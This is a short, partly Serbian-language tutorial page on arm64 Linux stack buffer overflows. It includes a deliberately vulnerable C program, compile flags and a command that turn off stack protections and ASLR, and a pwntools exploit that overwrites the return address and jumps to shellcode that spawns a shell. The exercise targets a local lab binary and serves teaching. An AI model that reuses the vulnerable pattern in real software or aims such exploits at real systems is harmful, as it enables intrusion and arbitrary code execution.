Stack Shellcode - arm64

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Pronađite uvod u arm64 u:

Introduction to ARM64v8

Linux

Kod

c
#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompajlirati bez pie, canary i nx:

bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

Bez ASLR & Bez canary - Stack Overflow

Da biste onemogućili ASLR, izvršite:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Da biste dobili offset of the bof — pogledajte ovaj link.

Exploit:

python
from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).

I opened the generated core fajl (gdb ./bog ./core) and checked the real address of the start of the shellcode.

macOS

tip

Nije moguće onemogućiti NX na macOS-u zato što je na arm64 ovaj režim implementiran na nivou hardvera pa ga ne možete onemogućiti, tako da nećete nalaziti primere sa shellcode-om u stacku na macOS-u.

Pogledajte macOS ret2win primer u:

Ret2win - arm64

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